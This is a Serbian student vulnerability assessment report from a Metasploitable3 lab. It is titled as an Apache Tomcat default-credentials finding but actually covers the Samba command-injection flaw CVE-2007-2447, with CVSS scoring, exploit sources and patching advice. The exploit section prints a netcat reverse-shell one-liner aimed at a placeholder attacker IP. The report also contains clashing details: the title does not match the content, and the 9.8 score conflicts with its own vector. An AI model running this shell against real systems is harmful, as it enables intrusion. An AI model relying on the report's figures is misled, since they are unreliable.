Vulnerability Assessment Report Template

Apache Tomcat Default Credentials

**Ime i prezime: Jovana Jelić  
Tim:  
Datum:12/11/2024  
Scan Tool:** Nessus (10.0.1)  
**Test okruženje:** Metasploitable3

Sve korake ispod treba ponoviti za svaku ranjivost

### **1. Enumeracija CVE-a**

* **CVE ID:** CVE-2007-2447
* **Opis:**Ukratko upišite ranjivost i način na koji ona pogađa servis. Dajte detaljne informacije o servisu (npr., ime servisa, port, protokol…).

Samba servis je često na meti napada zbog toga što otvara pristup sistemu kroz mrežne protokole.Obicno kada mreža uključuje i Windows i Linux računare omogućava glatku komunikaciju i deljenje resursa između ovih sistema zapravo omogućava korisnicima da sa svojih računara pristupaju i upravljaju deljenim datotekama i direktorijumima na serveru ili npr deljenje stampaca preko mreze dajuci pristup mreznim stampacima kao da su direktno povezani sa odredjenim racunarom.

Opisana ranjivost omogućava osobi odnosno napadacu koji moze pristupiti Samba servisu da izvrsava proizvoljan kod sa svim privilegijama korisnika. Samba servisi koji omogućavaju komandnu injekciju ako napadač ima minimalne privilegije su mete ove ranjivosti. Ranije verzije Samba servisa nisu pravilno spojile ulazne podatke, omogućavajući napadaču da unese zlonamerni kod kroz parametre i tako dobije pristup komandnoj liniji.

Kod Metasploitable3 ovaj servis je obično dostupan na portu 139 ili 445.

Ranjivost nastupa jer servis neadekvatno obradjuje parametre, što omogućava napadacu da putem specifičnog zahteva izvrši komandnu injekciju. Ona predstavlja vrstu sigurnosnog napada u kojem napadač unosi zlonamerne komande u aplikaciju kako bi ih sistem izvršio, koristeći ranjivost u aplikaciji koja neadekvatno kontroliše ili filtrira korisnički unos u komandama koje prosledjuje operativnom sistemu kao sto su funkcije koje pokrecu skripte izvrsavaju komande ili pristupaju datotekama bez odgovarajuce validacije. Ova ranjivost omogućava napadaču da direktno izvrši komande na operativnom sistemu na kojem aplikacija radi, najcesce sa privilegijama aplikacije ili čak višim nivoom pristupa.

### **2. CVSS skor**

* **CVSS skor (numerička vrednost):** 9.8
* **Vektor: AV/AC/PR/UI/S/C/I/A**
* **AV/AC/PR/UI/S/C/I/A**

Opišite vektor string (npr. AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) opišite svaku pojedinačnu komponentu.

* AV (Attack Vector): N (Network) – Eksploatacija se može izvršiti putem mreže.
* AC (Attack Complexity): L (Low) – Ne zahteva posebne specifične uslove i poprilicno je jednostavna.
* PR (Privileges Required): L (Low) – Da bi iskoristio ranjivost sam napadac mora imati minimalne privilegije na sistemu.
* UI (User Interaction): N (None) – Nije potrebna nikakva interakcija korisnika.
* S (Scope): C (Changed) – Eksploatacija može proširiti uticaj konkretno izvan primarnog servisa.
* C (Confidentiality): H (High) – Napadac moze pristupiti svim poverljivim podacima na sistemu.
* I (Integrity): H (High) – Mogucnost menjanja podataka od strane napadaca.
* A (Availability): H (High) – Moze ugroziti dostupnost servisa.
* Opravdanje:  
  Zašto ova ranljivost ima dodeljen ovaj CVSS skor? Diskutujte o faktorima kao što su eksploatabilnost, impact i obim ranljivosti.

Relativno jednostavna eksploatacija cini da ova ranjivost ima visok CVSS skor, minimalno zahteva za privilegijama i na kraju potencijalno ozbiljnih posledica za dostupnost sistema, poverljivost, integritet. Zbog promene opsega sugeriše mogućnost uticaja van servisa koji je inicijalno pogođen.

* + Eksploatacija ove ranjivosti je relativno jednostavna, jer napadač može koristiti komandnu injekciju kroz Samba servis bez prejake potrebe za prevelikom tehničkom ekspertizom.
  + Uticaj ove ranjivosti ozbiljno ugrožava poverljivost, integritet i dostupnost sistema, jer omogućava da izvrši proizvoljan kod i potencijalno pristupi osetljivim podacima.
  + Može uticati na komponente sistema van Samba servisa, što povećava potencijalnu štetu i opravdava "changed" vrednost u obimu samog koda.

Ova ranjivost je klasifikovana kao ozbiljna pretnja po sigurnost sistema.

### **3. Dostupnost eksploita**

* **Postoji javno dostupan eksploit (Da/Ne):** DAIzvršite pretragu (npr. Exploit-DB, GitHub, blog postovi) za javno dostupan eksploit koji je vezan za ovaj CVE.
* Exploit-DB 16320 – Koristi komandnu injekciju u Samba servisu. Eksploatacija se izvodi slanjem posebno formatiranog zahteva ka Samba servisu koji mu omogućava izvršavanje proizvoljnog koda na nekom ranjivom sistemu.
* GitHub-Eksploatacija CVE-2007-2447 na GitHub-u u okviru skripti koje ustvari vrse process automatizacije eksploatacije za ovu ranjivost. Mogu se pronaći skripte za istraživanje i pen-testing Samba servisa sa komandnom injekcijom.
* Ako pretrazimo po "CVE-2007-2447 Samba exploit" na GitHub-u dobijamo korisne rezultate, kao jednostavne skripte ili alate za eksploataciju ranjivosti.
* GitHub pretraga: [GitHub - Samba CVE-2007-2447](https://github.com/search?q=CVE-2007-2447+Samba+exploit)
* Neke od skripti omogućavaju automatizovanu proveru ranjivosti Samba servisa i eksploataciju komandne injekcije za različite verzije.
* Ove skripte često koriste Python za slanje zlonamernih zahteva Samba servisu, sa komandama za slanje shell naredbi koje napadač može koristiti za pristup sistemu.
* **Opis eksploita:**Ako postoji eksploit, navedite detalje o tome kako funkcioniše, šta cilja, i koje su potencijalne posledice uspešnog napada.
* Eksploatacija uključuje korišćenje specifičnog zahteva prema Samba servisu koji sadrži zlonamerne parametre za komandnu injekciju.
* Sam napadac ima mogucnost dobijanja komandne linije sa privilegijama korisnika i tako pristupi ili edituje podatke na sistemu.
* **Kod eksploita (ukoliko postoji):**Objasnite srž eksploita, dajte screenshot koda (samo glavni dio)

# Primer eksploata za komandnu injekciju

python -c 'import os; os.system("nc -e /bin/sh <napadac\_IP\_adresa> 4444")'

Kod koji omogućava napadacu da otvori komandnu liniju na ranjivom serveru i pristupi svim resursima sistema.

### **4. Analiza uzroka (root cause)**

* **Uvođenje Greške (Commit/Verzija):**

Istražite kako je ranljivost uvedena. Identifikujte verziju, tačan commit, ili biblioteku koja je izazvala ranljivost (npr. "Uvedeno u verziji X zbog neadekvatne validacije u biblioteci Y").

Greška je ukljucena u verziji Samba 3.0.20, gde su propusti u validaciji parametara omogućili komandnu injekciju. Ranjivost se odnosi na funkcionalnost koja omogućava deljenje datoteka, ali zbog nedovoljne provere ulaznih podataka, omogućava izvršavanje koda.

* **Primer Koda (ako je primenljivo):**

Pružite primer koda koji je glavni krivac, ako je dostupan.

Ranjivost je detaljno opisana u verziji 3.0.20. dok primer direktnog koda iz Sambinog izvornog koda nije dostupan.

### **5. Preporuke za mitigaciju**

* **Da li je dostupan Vendor Fix ili patch (Da/Ne):** DA
* **Mitigation Strategy:**Kako se konkretno apply-uje gore navedeni fix/patch, preporuka alata koji to može odraditi automatski…
* Savetuje se ažuriranje Samba servisa na verziju 3.0.28 ili jos noviju, u kojoj je ovaj problem definitivno rešen. Update se može obaviti korišćenjem paketa za upravljanje poput apt-get update && apt-get upgrade komandi
* **Alternativni fix (ukoliko ne postoji vendorski):**

Opis kako bi se ovo moglo rešiti dobudživanjem trenutne verzije

Ukoliko update nije moguc, ograničiti pristup portovima 139 i 445 samo na ovlašćene korisnike unutar odredjene mreže. Takođe, treba razmislite da se onemoguce Samba servisi za korisnike kojima nije potreban pristup.